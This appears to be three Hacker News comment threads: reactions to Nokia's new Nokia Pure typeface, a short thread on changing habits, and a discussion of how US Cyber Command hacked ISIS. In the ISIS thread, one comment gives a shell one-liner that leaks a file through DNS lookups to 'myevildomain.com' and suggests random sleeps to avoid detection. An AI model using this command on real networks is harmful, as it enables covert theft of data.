Nokia Pure: Nokia's New Official Font - <AUTHOR> http://brandbook.nokia.com/blog/view/item62250/

<comment><USER3> This is awesome. With this new beautiful, strong font acting as a multiplier of the huge competitive advantage they got by opting for Windows Phone 7, both iPhone and Android are doomed.

<comment><USER4> Nokia is a global company that does many tens of billions of dollars a year in revenue. Believe it or not, they did not commission a new typeface to impress Reddit and HN. This is not part of their plan to take on iOS and Android. So, I don't understand the point you're making with your comment. Are you suggesting that everything at Nokia come to a complete standstill until they can placate smartphone pundits?

It's just frustrating that, just because we don't "like" Nokia, we can't talk about the actual story; everything has to be a referendum on WP7.

<comment><USER3> Would you buy Nokia shares now and hold them for five years?

<comment><USER5> Is that relevant? Because it doesn't sound like it has anything to do with Nokia's new typeface.

<comment><USER3> It has with his faith in Nokia's sound strategy and competent management. I am implying Nokia has a focus problem, he says it's normal and perfectly sane. If it is, he would be willing to bet on the company's recovery.

<comment><USER5> He didn't even mention the soundness of Nokia's strategy or the competence of their management. What he said is the same thing I'm saying: I don't see what any of the stuff you're talking about here (Windows Phone 7, the company's overall strategy, the company's management) has to do with the Nokia Pure typeface. What does a font have to do with the company's focus? Are you suggesting they should have put Bruno Maag to work on OS development and instead they wasted his talent on type design?

<comment><USER3> > He didn't even mention the soundness of Nokia's strategy or the competence > of their management

I assumed that was implied in the defense of the visual identity reformulation.

> I don't see what (...) Windows Phone 7, the company's overall strategy, the > company's management has to do with the Nokia Pure typeface.

Nothing and that's the point. Why waste focus on a visual identity overhaul? Was it broken?

> Are you suggesting they should have put Bruno Maag to work on OS development

This is a false dichotomy. Why hire Bruno Maag in the first place when they, yes, need to hire developers (hardware and software) so they can make phones they can sell?

<comment><USER5> No, _you're_ presenting a false dichotomy — I was just pointing it out. Having Bruno Maag design a typeface does not in any way prevent Nokia from hiring developers, and doesn't appear to be a major company-wide focus.

Nokia's problem is that it doesn't know how to compete with Google and Apple, not that it's resource-starved. Blindly throwing money at developers without an intelligent vision is how Nokia got into this mess to begin with.

When Apple redesigns its website or switches corporate typefaces, do you complain about Apple's abhorrent lack of focus? No. The people designing the website are not the ones who develop your software, so the iPhone didn't suffer from the redesign. The same is true of Nokia. This typeface doesn't make their hardware or software any better, but it also doesn't make it any worse — it's unrelated.

<comment><USER3> > No, you're presenting a false dichotomy

Fair enough.

> Nokia's problem is that it doesn't know how to compete with Google and Apple

I would point out that visual identity has very little to do with it.

> not that it's resource-starved

That pressure will increase in the future.

> Blindly throwing money at developers without an intelligent vision is how > Nokia got into this mess to begin with

I agree with that - just throwing money on the problem won't make it go away. They hired an outsider (Microsoft) to give them a coherent vision. They should act on it.

And yes, redesigning every printed material and web presence is a small fraction of their overall budget, but is a loss of focus nevertheless and hardly an irrelevant expenditure.

</comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER6> Erik Spiekermann isn't very happy about the new typeface. He did the original, and says this one is bland [1]. Though it is, the old face was shockingly dated and needed replacing [2].

Nokia Pure is a nice readable typeface, very appropriate for use on mobile devices, elegant in it's own way - but too bland. They should've saved some money and just said "Frutiger".

At least they aren't setting their logo in it.

[1] <https://twitter.com/espiekermann/status/51173410415452160>

[2] <http://twitpic.com/4edrh7>

<comment><USER7> _the old face was shockingly dated and needed replacing_

How was the older typeface dated, other than being from 2002?

<comment><USER4> It (the original) has a very Santa Clara circa 1998 Rotis corporate thing going for it.

<comment><USER8> The heaviest weight reminds me of Chicago.

<comment><USER9> I also found it slightly austere in the bouquet, yet volatile in texture, almost reminiscent of a late harvest.

</comment></comment></comment></comment></comment><comment><USER10> When I saw the font, I got the feeling it hadn't changed much. Then I compared it to the old one, and I realized it's completely different, but it just gave the same feeling. In other words: very good job.

</comment><comment><USER11> And the links for download:

[http://brandbook.nokia.com/other_files/Brand_Book_v2.2_2011/...](http://brandbook.nokia.com/other_files/Brand_Book_v2.2_2011/Fonts/puretext/nokiapuretext- webfont.ttf)

[http://brandbook.nokia.com/other_files/Brand_Book_v2.2_2011/...](http://brandbook.nokia.com/other_files/Brand_Book_v2.2_2011/Fonts/pureheadline/nokiapureheadlinerg- webfont.ttf)

As posted here:

[http://craig.dubculture.co.nz/blog/2011/03/26/putting- nokias...](http://craig.dubculture.co.nz/blog/2011/03/26/putting-nokias-new- nokia-pure-typeface-on-your-symbian-phone/)

<comment><USER12> What are the license terms?

<comment><USER13> "Copyright © 2011 Nokia. All rights reserved. Reproduction, transfer, distribution or storage of part or all of the contents in this document in any form without the prior written permission of Nokia is prohibited."

</comment></comment></comment><comment><USER14> Looks good, a little bit toyish, though. The endings of the letters look like they are rounded. I prefer the stylish seriousness of Helvetica Light on the iPhone, but that's a matter of taste.

</comment><comment><USER15> Oh sweet, another font where the word "I'll" looks bizarre.

</comment><comment><USER16> I like it. It's clean, reads nicely at small sizes on a screen, and shows its Modernist heritage while going for a little more motion.

I wish I could use it on my web application (I think), but my quick scan doesn't show any licensing information.

</comment><comment><USER17> I can't believe what I'm reading here. That font is awful. The x-height is too short in terms of ratio, the counters are squashed, the stroke width is far too fat. It looks totally clunky on my screen. And that page design?! Show some love Nokia!

</comment><comment><USER18> Why? I really liked (and still like) the one they used up until now [1]. It looked fancy, it was _really_ distinctive, and it had a great readable font for devices (e.g. screenshot [2]). What more do you need from a typeface?

P.S. Doesn't this new typeface somehow remind you of Windows Phone 7's one?

[1] <http://spiekermann.com/en/nokia-sans-character/> [2] <http://www.flickr.com/photos/21709201@N00/4263893860/>

<comment><USER4> I'm no expert, but:

* Spiekermann's face is distinctive, but also dated; Spiekermann himself draws a comparison to Rotis in the PDF spec for the face.

* The face is complicated. Look towards the back of spec book for whole pages set in it. It draws a bit of attention to itself.

* In the same vein: it's complicated enough to require a serif and "wide" variation to make it work in all the settings Nokia needs type. Don't underestimate how annoying that may have been for people working at Nokia. One company I worked with ditched an identity that used Mrs. Eaves and Futura (which looked awesome, I thought) because no normal person could make a document look good in it.

The new face is all these things in reverse:

* It's trendy (yeah, to the point of being boring)

* It's simple

* It's all-purpose

And sure, at the end of the day, maybe they just wanted to refresh for the hell of it.

Also: remember that the cost to re-do all their docs in a new visual style will probably dwarf the cost of getting a face commissioned. If they were going to refresh the identity anyways (that's just something companies do once or twice every decade), and the cost of a Dalton Maag typeface is a tiny part of that, why not?

<comment><USER18> All arguments valid, but I still kinda like the old typeface more.

It's true that it has too many variations, but probably the new one will have as well. I doubt that only 3-4 variations will exist, there'll be more - <USER2> devices, for logos, etc...

A refresh of the identity is a must every once in a while, it's the only explanation I see why the old one should be changed ;), but I doubt that their old docs will be redone in the new corporate branding, only the currently used will be redone and the new docs will use it.

<comment><USER4> Just to be clear: the original face appeared to have multiple variations required within a single system; you were expected to know when to use the serif (!) face, and when you needed to use the wide sans (because the normal sans face has lots of fine detail that doesn't work in adverse environments).

It wasn't just that they had "display type" and "copy"; users of the Spiekermann face might have needed to know a fair bit of typography to make things look good in it. It was _intrinsically complicated_ , beyond the complexity of Nokia's needs.

</comment></comment></comment></comment><comment><USER19> They probably spent a lot of resources to develop this font and didn't even bother to move the "Our new typeface" headline a pixel or two to the left so that it looks like it's actually left-aligned with all the other text.

</comment><comment><USER20> Chrome 9.0.597.83 beta for Linux does not do a very good job with the kerning on that page. Not sure if it's bad hinting or just poor rendering, though.

<comment><USER21> That is because you are looking at Arial or sans-serif, _not_ at "Nokia Pure Text"... assuming you did not download and install the font on your computer. Check the .css:

      font-family: 'Nokia Pure Text', Arial, sans-serif;

The only thing that is "Nokia Pure" on the web page is the .gif images of the sample text.

This is an insurmountable problem with branded fonts; they only work if you load the branded font on every computer that will ever brush up against it. This means your Word documents will look like crap when you send them to an outside company. This means your web site that proudly uses the font will look like... umm... some generic sans-serif font when you use it on your web page.

The problem is insurmountable because, to fix the problem, you will have to convince everybody in the world to install it on their machine, which will require you to release the font for unrestricted use. A custom company-branded font with unrestricted use is an oxymoron.

<comment><USER22> did you tumble out of a time machine from 1999?

</comment></comment></comment><comment><USER4> I like the dots on the i's and j's.

</comment><comment><USER23> I know there are others out there (Microsoft, Android, etc.) but I do not like corporate branded fonts. I'd much rather they choose a more creative name and open it up for much broader use.

<comment><USER24> Android fonts are open [http://www.google.com/webfonts/family?family=Droid+Sans&...](http://www.google.com/webfonts/family?family=Droid+Sans&subset=latin)

</comment></comment><comment><USER25> At first I thought the lowercase 'g' was weird, because it's facing to the right, but then I guess it makes sense with their 'seamless motion' tag.

</comment><comment><USER26> It looks decent: modern and playful. I'm not typeface expert, but it seems like there are more implied vertical lines than I would expect.

</comment><comment><USER27> I think one of Nokia's problems might be an ego that is too big.

<comment><USER4> Many companies have house typefaces, and, if you're going to do that, you might as well have the page that says you got Bruno Maag to do it.

Really, when you get to the size of a company like Nokia, you're inevitably going to have an enormous marketing budget just for the boring stuff, like printing costs and designing the N+100th version of your N+100th product's N+5th slick. These are marketing dollars that are getting spent not out of ego, but simply to keep the train on the tracks.

Compared to those expenses, no matter how much it costs to engage Dalton Maag, it's still probably a rounding error.

Wouldn't you rather live in a world where big companies occasionally gave excellent typographers interesting problems to work on, rather than paying someone to round the corners on FF Meta or something?

<comment><USER3> > you're inevitably going to have an enormous marketing budget

If your products are actually good and/or desirable, you may discover that the marketing budget can be reduced and the surplus money be used to develop the next generation good and desirable products.

<comment><USER4> You missed my point, which is frustrating, because I lawyered up my (simple) point with a whole lot of extra words exactly to avoid this unproductive branch of the discussion.

<comment><USER28> Yay HN circa 2011!

<comment><USER29> Considering that everyone on this reply chain has been posting for at least 3 years, I don't think we can blame recent trends.

<comment><USER28> Good people can be corrupted by bad influences over time. The douchebaggery on HN is at all-time highs and good people are being sucked in. I've got enough karma to spare that I'm happy to be downvoted to oblivion on this, but it's really got to stop.

Stop correcting people's grammar and spelling, stop assuming incompetence in others, stop nitpicking single words/phrases in thoughtful comments, and stop willfully misreading what others write (which is what happened here despite Thomas's deliberate efforts _to avoid that very thing_ ).

<comment><USER3> My comment was mostly about focus. Nokia has one single problem: they need to build phones people actually want. They have to develop the phones people will want in 2012 right now so they are shipping and working very well (Apple's iPhone has somewhat raised expectations) in 2012.

Elop used the burning platform metaphor. If it's burning, the sole focus of the whole company should be on building a new one.

A new corporate font is not a competitive advantage, will not make whatever new platform they build with WP7 more attractive to end users and is, thus, a waste of time and resources. The cost of having a font designed is tiny when compared to the cost of reformulating the visual identity of the company, something that's bound to happen.

Marketing should worry about selling as many current phones as possible and nothing else.

I can't see how a new corporate font fits in this panorama.

<comment><USER4> It doesn't.

<comment><USER3> Then why do it? If that's not a focus problem, I don't know what would be.

<comment><USER4> Because whether or not you like the fact that they chose WP7, they still have to publish many thousands of slicks this year, and they still have to have a website, and it may be worth it to have a coherent visual identity across all of them.

Your take on this baffles me. It's like you think the only functions in a multi-billion dollar company are the ones nerds care about.

The Bengals have crappy-looking helmets. They are also a crappy team. They should fix the helmets. Also the team. But the two don't really have a lot to do with each other; the Bengels still bring in millions of dollars, despite losing all the time. Meanwhile, let's make sure we're talking about the helmets when we mean to talk about the helmets, and the teams when we mean to talk about the teams. Because people make fun of people who judge football teams by their helmets.

<comment><USER3> > Because whether or not you like the fact that they chose WP7

Nice straw man. My argument is platform neutral. Nokia should focus on building phones it can sell. I would question their sanity even if they had chosen Android.

> It's like you think the only functions in a multi-billion dollar company are > the ones nerds care about.

No. Their only function is to create value for shareholders.

Your analogy is flawed. Nokia has not a visual identity (or helmet) problem - quite the contrary - their phones look good, their printed materials and website look good. They have a product roadmap problem. S60 seems inadequate for current smartphone standards, which is tragic, because all things point to a smartphone-only market in a couple years. S40 is even more doomed in that scenario and MeeGo was going nowhere. They chose to go with WP7 and it will be hard enough to pull that off (it would be had they chosen Android, WebOS, MiraclePhoneOS or a mutant Symbian from an alternate future).

And yet, they decide to change their visual identity.

It's like Twitter, in the fail-whale days, deciding their problem was their logo and changing it to a green octopus instead of solving their scaling problem. Because, after all, cool logos are what sells stuff.

<comment><USER4> Troll.

<comment><USER3> Thanks, Thomas, for your candid feedback. I see we hold each other in similar high esteem.

</comment></comment></comment></comment></comment></comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER30> I thought this was a joke at first, but am pleasantly surprised.

I actually checked my calendar, but realized it is still 2 days away.

T minus 2 days for the most ridiculous headlines of the year.

</comment><comment><USER31> Looks like Microsoft Segoe UI, which would make sense.

</comment><comment><USER32> first impression: too fidgety.

</comment><comment><USER33> OK , now I am starting to get worried about Nokia

</comment><comment><USER34> Now I finally know what they've been doing for the last 4 years...

</comment><comment><USER35> Well, that's a wrap. Nokia is done with being about technology.

</comment><comment><USER36> When an artist seems to want to tell you more about themselves than their work, the work is usually not all that interesting.

</comment><comment><USER37> Haha. Way to try and ride on Facebook's branding.</comment>


Can you become a Creature of New Habits? - <AUTHOR> http://www.nytimes.com/2008/05/04/business/04unbox.html?ex=1367553600&en=e1243d427937195c&ei=5124&partner=permalink&exprod=permalink

<comment><USER2> This is why learning a new programming language is good. As is learning anything that forces a different way of doing things.

Interesting that the article mentions changing "which thumb is up." When I was a kid a decided to switch from right thumb up to left, and now it's the only way I do it, and the opposite feels awkward. So on many lateral dominance tests I show up as left-handed, but I'm fully right-handed.

I also never knew "kaizen" was so much of a technique than a word that just means "improve for the better," nor do I recall it being used specifically as a name of a technique. Not so sure if the article really had to introduce a foreign language to seem more mystical: this is age old wisdom.</comment>


How the US Hacked ISIS - <AUTHOR> http://npr.org/2019/09/26/763545811/how-the-u-s-hacked-isis <comment><USER3> I fully understand that the operation is classified and details cannot be revealed, but I have to say: the description of the technical details is still a bad Hollywood movie [0]...

> After that, the momentum started to build. One team would take screenshots > to gather intelligence for later; another would lock ISIS videographers out > of their own accounts.

> "Reset Successful" one screen would say.

> "Folder directory deleted," said another.

 _Folder directory_??? Did they also delete the "file document"?

> The screens they were seeing on the Ops floor on the NSA campus were the > same ones someone in Syria might have been looking at in real time, until > someone in Syria hit refresh. Once he did that, he would see: 404 error: > Destination unreadable.

 _404 error: Destination unreadable_??? At least, use "unreachable"...

> _" Target 5 is done," someone would yell._

> _Someone else would walk across the room and cross the number off the big > target sheet on the wall. "We're crossing names off the list. We're crossing > accounts off the list. We're crossing IPs off the list," said Neil. And > every time a number went down they would yell one word: "Jackpot!"_

[0] TV Tropes: Hollywood Hacking is when some sort of convoluted metaphor is used not only to describe hacking, but actually to put it into practice. Characters will come up with rubbish like, "Extinguish the firewall!" and "I'll use the Millennium Bug to launch an Overclocking Attack on the whole Internet!" [https://tvtropes.org/pmwiki/pmwiki.php/Main/HollywoodHacking](https://tvtropes.org/pmwiki/pmwiki.php/Main/HollywoodHacking)

<comment><USER4> Ok, I'll tell you how it goes in the real world. I worked for a somewhat HN- famous pentesting company several years ago.

"So, X has been infiltrating <company> for the past few days."

"Really? <company>? <famous company>?"

"Yep. We're keeping them looped in on everything, and they told us to try to get as far as possible. Apparently they were running <outdated version> of <software> on one of their boxes, and <scanner> picked it up."

"That actually happens?"

"He's <highly surprising claim> right now. You'd be surprised how far you can get, jumping from one box to another."

I can't give much more detail than that, for obvious reasons, but the reality is that it's very methodical, very "boring" work. It's basically a giant matrix of probabilities: there are hundreds of thousands of attack vectors, and your job is to tap as many as possible, sorted by probability of effectiveness, until something sticks. Then use your head to get further, adapting to the situation on the fly.

And ... writing reports. Jesus, if someone had told me that 70% of your day would be spent writing reports, I probably wouldn't have joined. But the 30% of other stuff made up for it.

That feeling you get when you break into somewhere you're not supposed to be, and that _you were paid to do it_ , is amazing. The rules change from engagement to engagement, but usually it's "do whatever you want, but don't modify any data, i.e. no destructive actions, and all info you've collected will be deleted at the end of the engagement."

Must be interesting to be a spook in the NSA doing that kind of stuff offensively.

Also, it might seem absurd that I'm comparing this story to the most elite hackers in the developed world. And maybe it is. But if you knew which <company> it was, and exactly what <highly surprising claim> was, you'd be shocked that one or two smart developers poking at internals were able to compromise the entire corporate network of <famous company>, to the point of being able to... well. Let's just say, I wish I could say. It's a weird feeling, seeing it with my own eyes, knowing it's true, and never being able to talk fully about it. :)

So I imagine the NSA spooks are doing similarlly-methodical work, with some cheat codes like "we intercepted their computer before delivery and installed a backdoor that only activates when we send a specially malformed packet that would normally be dropped and is therefore invisible, which grants us access as needed."

<comment><USER5> If the cheat codes were along the lines of "as long as they're using anyone's routers but Huawei's" they would not even require interception and customisation.

<comment><USER4> I wish I understood it better, because it's a real technique that the NSA uses, as far as I know. And I agree that it seems like it shouldn't be that simple.

Here's one I do understand: Suppose you want to exfiltrate some data out of a network without raising alarms. One way to do it is to set up a DNS server. Basically, you use DNS itself as a communication method, not merely a lookup table.

I've never actually used it, but it always seemed a cool idea. Almost no one blocks DNS, which means you can send data from anywhere in the world in a very unexpected way. You'd of course want to keep the transmission size reasonable (perhaps 5GB of DNS traffic might raise some eyebrows) but any system that you can `nslookup foo.com 184.108.40.206` on, you'd be able to `nslookup foo.com <your special server>` on. So this technique works in almost every case, except extremely monitored systems that only allow outgoing connections to a specific set of restricted IP addresses.

But for the special network protocol that the NSA uses to access backdoored NICs, I forget why it works, since the packet would need to pass through many routers along the way. In fact, I feel like I'm misremembering. Most target computers are behind routers, so it really doesn't make sense. Maybe it's a technique used against routers themselves. All I remember is that the NSA has some type of "signals we can send which normal networking tooling doesn't detect at all," along with a dose of "we know Iran just ordered some new servers, so we intercepted the servers and installed a backdoor." (The latter is called TAO: [https://en.wikipedia.org/wiki/Tailored_Access_Operations](https://en.wikipedia.org/wiki/Tailored_Access_Operations))

They definitely do something with NICs though. The ANT document ([https://en.wikipedia.org/wiki/NSA_ANT_catalog#Capabilities_l...](https://en.wikipedia.org/wiki/NSA_ANT_catalog#Capabilities_list)) shows "COTTONMOUTH-III is a stacked Ethernet and USB plug costing approximately $1.25M for 50 units." Must be one hell of a plug.

[https://en.wikipedia.org/wiki/NSA_ANT_catalog#/media/File:NS...](https://en.wikipedia.org/wiki/NSA_ANT_catalog#/media/File:NSA_COTTONMOUTH-I.jpg) is also pretty neat. It's a USB airgap bridge, i.e. janitor walks up and plugs it in to the target device. I wonder what the range on stuff like that is... Seems like you'd have to be sitting outside in a van or something, which is rather hard to do if your target is a nuclear enrichment facility (stuxnet).

<comment><USER6> _you 'd be able to `nslookup foo.com <your special server>` on_

You don't need to tell nslookup to use a special server. If you control the SOA for your own domain, the normal DNS server will happily exfiltrate your data for you.

<comment><USER7> Yup - about 8 years ago or so, I built a TCP-over-DNS tunnel that smuggled data in DNS TXT records generated by a DNS server I ran on my colocated rack to allow me to surf the wider web when my laptop was connected to Wi-Fi captive portals.

The technique worked well for portals that allowed arbitrary DNS-over-UDP as well as portals that had their own exclusive DNS - provided that those portals worked by redirecting all IP traffic (i.e. they didn't fake DNS results).

It was slow though... I think I maxxed-out at around 8KBps (~64kbps) - <USER2> enough for basic email functionality and text-only web-surfing.

<comment><USER6> _Yup - about 8 years ago or so, I built a TCP-over-DNS tunnel that smuggled data in DNS TXT records generated by a DNS server_

It's even easier that if you just want to sneak a relatively small file out.

        for n in $(base64 mysecretfile|sed  's/.\{63\}/&\n/g'); do nslookup $n.myevildomain.com; done

Then get the file out of your evil DNS server logs at the other end. Of course this depends on how much DNS logging the local site is doing and if anyone is paying attention to those logs, but a few random sleeps should help there.

</comment></comment></comment></comment></comment></comment></comment><comment><USER8> Here's another account in the form of an extended interview with one of the commanders of US Cyber Command at the time.

[https://darknetdiaries.com/episode/50/](https://darknetdiaries.com/episode/50/)

<comment><USER9> Highly recommend this podcast---Ep 29: Stuxnet is another episode worth checking out

</comment></comment><comment><USER5> > "The United States is the country most highly dependent on these > technologies," Deibert said. "And arguably the most vulnerable to these > sorts of attacks. I think there should be far more attention devoted to > thinking about proper systems of security, to defense."

It's all fun and games until someone melts down a reactor.

The journalist is probably playing with Cunningham's Law, but I distinctly recall the doomsday gap scene ( [https://news.ycombinator.com/item?id=24481298](https://news.ycombinator.com/item?id=24481298) ) as having been closer to the middle of _Dr. Strangelove_. The end came after the referent of [https://www.youtube.com/watch?v=K10pdj5YOy0](https://www.youtube.com/watch?v=K10pdj5YOy0) .

Bonus clip (note the lack of any source attribution problem in these cases): [https://www.youtube.com/watch?v=nZ8oA9-OQrg](https://www.youtube.com/watch?v=nZ8oA9-OQrg)

</comment><comment><USER10> It's kind of odd to think what ISIS' media operations brought it. Initially they seem to have garner a variety of international recruits, I most from a Muslim background but some not. But either way, a lot of their appeal was an absolute nihilistic rejection of "modernity". It seems like the appeal involve a kind of fundamental alienation combined with being a flavor of the month - sort of the appeal of leftism but lacking any sense that things can be improved.

I suspect shutting down their media probably stopped having an effect through novelty wearing off, all the best recruits being recruited and the world moving on to (inadvertently or not) selling some other reactionary rebellion - and the group being militarily defeated in Syria.

<comment><USER5> One of the lightly ironic points Linebarger (in his textbook, _Psychological Warfare_ ) makes is: never trust a psywar person as a reliable narrator, to accurately and straightforwardly report how effective they may have been. Their _déformation professionelle_ is, after all, self-serving sophistry.

(I trust Linebarger more than Bernays because the former also catalogues not only his failures, but _sotto voce_ , even touches upon those of his mid- twentieth century society.)

Bonus clip: [https://www.youtube.com/watch?v=mLNAkPsjAEk](https://www.youtube.com/watch?v=mLNAkPsjAEk) (what's the hip hop equivalent?)

</comment></comment><comment><USER11> >Six years ago, it rather famously discovered that China had been hacking into the Dalai Lama's computer networks

why does china care so much about the dalai lama?

<comment><USER12> Because people in Tibet recognize him as a non-Beijing authority.

</comment></comment><comment><USER13> Really Hackernews, do you have to repost this neocon BS on a respectable technology forum.

[https://theintercept.com/2018/01/29/isis-iraq-war-islamic- st...](https://theintercept.com/2018/01/29/isis-iraq-war-islamic-state- blowback/)

</comment><comment><USER14> Heres an account from the view of one of the allies involved in the same operation.

[https://www.abc.net.au/news/2019-12-18/inside-the-islamic- st...](https://www.abc.net.au/news/2019-12-18/inside-the-islamic-state-hack- that-crippled-the-terror-group/11792958?nw=0)

<comment><USER5> Up until today, I had thought of the (obviously shopped) [https://demotivation.me/images/20140405/rhq85mwjl9qh.jpg](https://demotivation.me/images/20140405/rhq85mwjl9qh.jpg) as inaccurate because while it seems plausible for spooks to do such things, they don't wear fatigues. (compare ops room hero photo above: is the fatigue- wearer a seppo liaison?)

<comment><USER15> The original picture, showing the U.S. soldiers in front of the computers in the 2010 Wired article about the NSA and the Department of Homeland Security:

"Doc of the Day: NSA, DHS Trade Players for Net Defense"

[https://www.wired.com/2010/10/doc-of-the-day-nsa-dhs- trade-p...](https://www.wired.com/2010/10/doc-of-the-day-nsa-dhs-trade- players-for-net-defense/)

The fatigues are common in the pictures:

[https://www.cyberscoop.com/us-cyber-command-nsa- government-h...](https://www.cyberscoop.com/us-cyber-command-nsa-government- hacking-operations-fight/)

<comment><USER5> Thanks for the op. I had been guessing (from the steering wheel) that it was a joint force LAN party, but now that I'm no longer distracted by cyrillic, I'm wondering about the yellow left-hand keycaps?

> "But there are U.S. intelligence officials who still worry about what Cyber > Command's rise will mean for espionage missions."

suggests another domestic explanation for revealing Glowing Symphony would be turf wars with non-concurring bureaucracies.

(Apparently successfully, judging by 2020 changes to us code buried somewhere in the appropriations bill S.1790 § 1632.

Poorer US HN'ers may be interested to know there's also language in that bill about cyber pay rates, which I left unread but would guess implies they're attempting to be competitive with private sector compensation.)

</comment></comment></comment></comment><comment><USER16> So how long until it comes out that this was all a lie, and really they just flipped one of the server admins?

</comment><comment><USER17> Darknet diaries covered this story in a podcast ages ago. NPR is just recycling the content. Full episode here for those interested: [https://darknetdiaries.com/episode/50/](https://darknetdiaries.com/episode/50/)

</comment><comment><USER18> For the audio version of this story from a different source, I highly recommend the Darknet Diaries podcast episode: [https://darknetdiaries.com/episode/50/](https://darknetdiaries.com/episode/50/)

</comment><comment><USER19> Not sure if the article mentions it (haven't read it yet) but JTF-ARES was the force tasked with sabotage and often it was against targets such as the militants video (propaganda) productions.

Edit: Really not sure why I got downvoted, as I provided accurate info?

<comment> _-___________-_ Can't speak for anyone else but I didn't understand the purpose of your comment; it merely restates one fact from the article, which you didn't bother to read before commenting.

<comment><USER19> It was just something I remembered that I found interesting when I first learned about it prior to this article.

</comment></comment></comment><comment><USER20> > I mean, I'm just guessing here but here's an attack I think they probably > did; first, imagine if they hacked into the phone of one of these ISIS media > people and then on that phone, they stole the private decryption keys for > that phone. This would be the key used to decrypt messages to that phone. > Then, imagine they hacked into the WiFi network that phone was on and > somehow captured all the traffic to that phone. Somewhere in that traffic > are the private chat messages to that phone and with these private keys, I'm > guessing it's technically possible to decrypt those messages. This would be > a pretty complex hack but I bet it's something that US Cyber Command could > do.

Yeah.. probably not how it happened.

</comment><comment><USER21> > He asked us to use only his first name to protect his identity

There was 80 persons inside one of the most powerful room of the world so they just use his first name to protect his identity.

</comment><comment><USER22> TL;DR: "Fire" (from the first sentence) wasn't shooting something but the beginning of a cyber exercise. Started with a successful phishing email and got lucky because an ISIS operative was re-using the same password in several places.

That article was painfully too long.

</comment><comment><USER23> For EU people: [https://archive.ph/XZ2Dg](https://archive.ph/XZ2Dg)

</comment><comment><USER24> In a way doesn't this just cause the adversary to adopt better operational practices? Persistent access and monitoring would probably be better long term.

<comment><USER25> You have to make that tradeoff.

Think about Enigma and Lorenz, or any cold war double agent - you've got this fountain of knowledge but if you start burning assets left right and centre they'll realize something's wrong (Or in the case of MI6 they'll get embarrassed and allow the double agent to slip away as long as they shut up)

<comment><USER5> Having been thinking that cyberwar could be a wonderful thing if it keeps everyone occupied and well away from civilian lives, as long as I was in cloud cuckoo land I figured we (the non-inclusive we, meaning: anyone but me) ought to set up a giant (bits, not atoms, remember?) online honeypot that gets spooks in so deep that they become N-tuple agents (where N is chosen sufficiently large to overflow their mental stacks, allowing us to set them to chasing each other in _cyclical_ patterns) and eventually wind up typing in gibberish in grand operations that, like the coruscating beams of an E.E. "Doc" Smith novel, escalate to grappling with networks of cosmic proportions, but in truth are on the wrong side of an impedance mismatch to affect the real world.

Inspired by a low-tech single-ply version: [https://en.wikipedia.org/wiki/Operation_Scherhorn](https://en.wikipedia.org/wiki/Operation_Scherhorn)

and Linebarger's suggestion for how to drive enemy intelligence mad: [http://www.gutenberg.org/files/48612/48612-h/48612-h.htm#Pag...](http://www.gutenberg.org/files/48612/48612-h/48612-h.htm#Page_132)

> "If you feel like showing off, average everything into everything else and > call it the Gross Index of Total Enemy Morale. This won't fool anyone who > knows the propaganda business, and you won't be able to do anything with or > about it, but you can hang it on a month-by-month chart in the front office, > where visitors can be impressed at getting in on a military secret. > (Incidentally, if some smart enemy agent sees it and reports it back, enemy > intelligence experts will go mad trying to figure out just how you got that > figure. It's like the old joke that the average American is ten-elevenths > White, 52% female, and always slightly pregnant.)"

TIL CthulhuPunk is a thing.

Anyone familiar enough with the Cthulhu-mythos to tell me if there are any impediments in canon to the following retcon: what if Great Old Ones are Scissor Entities, and appear to xenophobes as horrific monsters of vaguely anthropoid outline, with octopus-like heads and prodigious claws, but to xenophiles as animated pegasus unicorns, and, as part of their eternal struggle against the Blue Meanies, drive the former to gibbering madness but invite the latter over for tea?

[https://i.pinimg.com/originals/e9/a4/fa/e9a4fae35f467f77b98b...](https://i.pinimg.com/originals/e9/a4/fa/e9a4fae35f467f77b98b738d7b4a7569.jpg)

</comment></comment></comment><comment><USER26> US hacked ISIS because US made ISIS

</comment><comment><USER27> Friendly reminder: the US basically created ISIS through it's hamfisted invasion of Iraq. Cheerleading tbis sort of effort is like congratulating a child when they decide to eat their peas.

<comment><USER28> Yes and no. US did also invade Afghanistan, but that didn't create a phenomenon like ISIS.

ISIS was actually there, founded by Zarqawi like any other group, but its main differentiator was its swift rise to power and popularity after 2011 benefiting from the unbearable oppression of Sunnis in Iraq by Iran and its proxy, which made them align with whoever could be their savior and get rid of the Iranian influence. You can see this clearly when ISIS stormed the prisons where thousands of Sunnis were sentenced to death, and made them into the second wave of recruits.

US did enable ISIS, Zarqawi and co created it, Iran gave people a reason to join it in mass, and international agenda, most importantly the US object to get its enemies (Iran and ISIS) bleed each other, and the Kurdish leftists to ask for its help to the degree to become its proxies, left a space for it to be the monster it was.

Can't also ignore the Turkish and Kurdistani indifference (before ISIS started attacking them, there were ISIS/Kurdistani checkpoints side by side drinking tea together), and the Syrian allowance of fighters flood to Iraq through its the eastern borders since the invasion.

Blaming only the US (although it's the initial culprit) doesn't address the complexity of this problem.

<comment><USER29> The invasion was not enough to create ISIS. To do that, US had to name an idiot as Iraq's governor. Enters Paul Bremer. A single decision of his made ISIS possible.

He got to manage a country that just got invaded, that used to have a huge military and where the occupiers are still fighting the remnants of rebel forces in some part of the country.

In that context, he decided that the former officers from Saddam Hussein's regime would be barred from the new Iraq military and that they should not receive pension either.

He, put yourself in their shoes: when your job is to organize a military, that the only lawful employer refused your services and denies your pension, are you going to go homeless and beg in the streets or are you going to join a rebellious startup?

The ISIS of the origin was organized just like the Baath army was, because that's the framework the officers knew. There were some documents captured (that involved less "hacking" than physical invasion of command structures but of course we never know the amount of covert ops going on) and what they revealed was that one budget line was the biggest of the whole organization: pensions. Suicide bombing is not the career path everybody chose there.

ISIS is not a US creation: that would imply GWB's administration capacity to plan such a thing. But it came from crucial mistakes the US did despite being warned about these years prior.

</comment></comment></comment><comment><USER30> "ISIS" is an acronym and should be capitalized. (Isis is an Egyptian goddess of no relation to ISIS.)

<comment><USER31> Isis is also an unfortunately common name. Most of my coworker's apps stopped working and her banking became _much_ more difficult sometime around 2012.

<comment><USER32> This seems dumb on the part of the bank. Unless terrorists are really, really stupid, classifying the first name "Isis" as "terrorist" is bound to have a 100% false positive rate.

<comment><USER31> You're not wrong - but try to Venmo somebody funds for a "Cuban Sandwich" or an "Iranian restaurant" and see what happens though.

<comment><USER33> I just did the Cuban Sandwich one without a problem. What should I be expecting?

<comment><USER34> USA had (has?) sanctions banning trading with Cuba.

